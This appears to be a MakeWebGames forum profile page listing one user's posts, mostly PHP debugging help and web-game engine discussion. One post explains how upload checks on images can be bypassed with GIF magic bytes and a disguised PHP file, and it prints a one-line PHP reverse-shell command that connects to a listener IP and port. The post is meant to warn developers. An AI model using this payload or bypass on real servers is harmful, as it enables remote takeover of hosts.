Jump to content
MakeWebGames

KyleMassacre

Members
  • Posts

    2,921
  • Joined

  • Last visited

  • Days Won

    48

Everything posted by KyleMassacre

  1. It might help to list what you are actually looking for. Are you looking for something like Ajax, socket.io/Websocket, it’s own page, or something that is on every page?
  2. This is the age old question that I think a lot of people try to come up with an answer and potentially fail miserably. I think that with a lot of the engines out there for web based games, it’s a real difficult one to come up with a way to “balance” the game out. I have been playing some mobile games lately like GOTC (Game of Thrones: Conquest) and I think they do it rather well. There are still some issues with it like money grabbing but I think in the end it does balance out. Generally the top tier players generally stick with duking it out with other top tier players and leave the low level guys alone but they do a decent job at getting decent level F2P people a fighting chance. A lot of the stuff that you would “pay” for are found in game although in considerably lower quantities and you actually have to grind to achieve the stuff. Some of the main things they do it actually base pretty much everything on your actual level, the higher level you are, the more expensive things cost. If you haven’t played a game like that it is really difficult to understand and put what I am saying into context but I think it’s worth the research to check something like that game out even if it’s not that particular game.
  3. While I cannot definitively answer your question, I can say with 90% certainty that it can be simplified regardless of what chess.com uses. I am not too sure on the need Java since you are using both front/backend languages/frameworks.
  4. It’s hard to tell but could you be missing a comma on the previous line?
  5. Should be: || substr($_POST['new_pic'], 0, 8)== 'https://'))
  6. Your designs are pretty dern good. If I was looking for one of your designs like that coded up, what would you charge? Also, do you use a framework like bootstrap or tailwind just to name a few?
  7. I personally am not a fan of react. If I were to use a front end js framework I prefer Vue and that is mainly due to its ease of use over React. I also feel you get more control over your components in regards to styling. And to be honest with myself, I am not too familiar with React so what I said about control can be completely wrong but it is just what I feel. I also looked over a few articles before responding so I didn’t look like a complete tool and found my hunch to be a bit more accurate in regards to performance. The articles that I did read show that Vue is a bit more performant since it does lack a bit of bloat but Vue is supposed to be for “smaller projects” opposed to React. Plus, I feel that JSX syntax is a bit wonky and like the HTML with a mix of ol' fashioned JS. https://www.monterail.com/blog/vue-vs-react https://fireart.studio/blog/vue-vs-react-in-2022/
  8. I would have to really look and see what’s going on. It looks like maybe something didn’t update properly
  9. All you need to do is add the $timediff variable wherever you would like it to be displayed
  10. The timediff would be an exposed variable so you would be able to place it anywhere. It’s been a while since I looked at global_func.php so I am not sure if there is a function that will convert to min:sec. Bottom line, you should be able to slap that variable pretty much anywhere
  11. You didnt terminate your echo string on line 58 and you can delete lines 59 through 66
  12. It works for me on php 8.0 <form id="notepad" method="post"> <?php if(is_null($ir['user_notepad'])) { print "Notepad is null"; } else { print "Notepad is not null"; } $ir['user_notepad'] = !is_null($ir['user_notepad']) ? htmlentities($ir['user_notepad'], ENT_QUOTES, 'ISO-8859-1') : ''; ?> <textarea rows='10' cols='50' name='pn_update'><?php echo $ir['user_notepad']; ?></textarea> </form>
  13. For your htmlentities error you could put something like: $ir['user_notepad'] = !is_null($ir['user_notepad']) ? htmlentities($ir['user_notepad'], ENT_QUOTES, 'ISO-8859-1') : '';
  14. It’s real difficult on my phone but in your dbdata.sql file it’s telling you that you cannot of a default value so you will have to remove that default value from a text column
  15. What errors do you get when you remove that function? That function has been deprecated since php 5.4 or so
  16. That would be really cool
  17. This is my mistake and my subject was misleading. Adam is correct in the fact that this is geared towards users/players uploading their own images. Let me fix the title
  18. Hello, I have recently been browsing my unread threads, grave digging here and there, and you know, or their stuff. I came across a post by MTG about what he can do if someone decided to host images on their server. I just thought it would be nice to shed some background on this for people who don’t know or never dabbled in some “nefarious” techniques MTG points out that he (anyone) can just put a little snippet of PHP and execute whatever they want, which is very easy. Some things that a lot of people check for on image files are quite easily bypassed like: mime type, extensions, file/image size and I would like to show how some of these are bypassed. Mime Type/File Extension With a basic hexeditor, you can easily change the Magic Number once you find out what type(s) of image types are accepted. I would like to argue that allowing “GIFs” is probably the worst file type to allow because people with less than average black or white hat experience can easily just add the GIF constant to a PHP file as the 1st few hex places. If I were to create a file with the name “image.gif.php” or even “image.gif” (pick your file ext), I just bypassed your file ext and/or mime type. And who knows, it could be a legit image. Image Size Image sizes get a little tricky because you want people to be able to upload their image and it could be big or it could be small but I were to find out a max file size by just brute forcing various sized images, content added to my dummy image can be rather big or rather small. Take a look at this example: //phone doesn’t let me add code tags. Sorry for it being ugly php -r '$sock=fsockopen("10.10.10.10",9001);exec("sh <&3 >&3 2>&3");' As you can see, it doesn’t add too much to the file but is very dangerous as this gives me a reverse shell if I have a listener setup to that ip address and port If you are going to host image files on your box, there are probably halfway decent libs out there that can help with this sort of thing. I only wanted to shed some light on how these things can work.
  19. I do know the engine relatively well and I actually just dove back into it like a week ago. I was actually going to possibly start up my own marketplace in lieu of the original since the engine has the ability to install/upgrade modules from the marketplace. If you would like, download the repo and start fiddling with it
  20. I don’t want to grave dog but in 2020 this may be accurate in a way but Alpine.js is probably more popular to handle majority of the front end stuff that JQuery was used for
  21. Hello, I wanted to see if there is any interest in possibly getting this engine up and running? Unfortunately I am not the owner, and cant get in touch with the owner of this so everything would have to be the "free" version. I created a repo of this engine for people to have, and I do have several of my modules but lost most of them when the marketplace went down but I could potentially re-create some of them. I could also see about "modifying" or creating some of the paid modules from scratch to bypass some copyrights. If this gains some traction, maybe one of the awesome admins can create a market for it here
  22. Good looking out on the file find. For anyone wanting to run this, some of the major errors are the VerifyEngine() function which pings a domain no longer reachable so just change that to return true. Also it uses old constructor methods so you will have to change that to __construct(). I believe there is one more thing but can’t think of it off the top of my head. EDIT: Dayo posted a copy of NWE free that he was able to get off the wayback machine but here is a fresh local copy of mine with some bug fixes. I would just like to note, there may be some bugs still and I can help fix them if needed. nwe-free.zip
  23. I am actually fiddling with something similar. It’s more like a hybrid between a player report and a staff log for a player. My plan for it is you would make some warning types and each type would have a weight associated to it, after a player gets “x” amount of points on their account they would get banned.
  24. This has been updated and adds a ton of flexibility and functionality.
  25. No worries at all. This weekend I will add your fix and push the module onto the market along with the known bug that I found and finally fixed
×
×
  • Create New...